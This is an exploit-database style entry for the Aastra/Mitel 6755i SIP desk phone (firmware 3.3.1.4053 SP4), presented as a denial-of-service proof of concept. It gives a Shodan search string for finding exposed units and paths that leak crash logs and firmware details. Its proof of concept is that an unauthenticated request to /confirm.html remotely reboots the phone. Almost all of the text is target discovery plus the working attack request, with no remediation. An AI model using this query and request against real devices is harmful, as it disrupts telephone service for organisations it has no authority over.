Aastra 6755i SIP SP4 – Denial of Service
# Exploit Title: Aastra 6755i SIP SP4 | Unauthorized Remote Reboot # Date: 17/02/2018 # Exploit Author: Wadeek # Hardware Version: 6755i # Firmware Version: 3.3.1.4053 SP4 # Vendor Homepage: http://www.aastra.sg/ # Firmware Link: http://www.aastra.sg/cps/rde/aareddownload?file_id=6950-17778-_P32_XML&dsproject=www-aastra-sg&mtype=zip == Web Fingerprinting == #=========================================== :www.shodan.io: "Server: Aragorn" "WWW-Authenticate: Basic realm" "Mitel 6755i" #=========================================== :Device image: /aastra.png (160x50) #=========================================== :Crash dump, Firmware version, Firmware model,...: /crashlog.html #=========================================== == PoC == #================================================ :Unauthorized Remote Reboot ("crash.cfg" file is created after): /confirm.html #================================================ |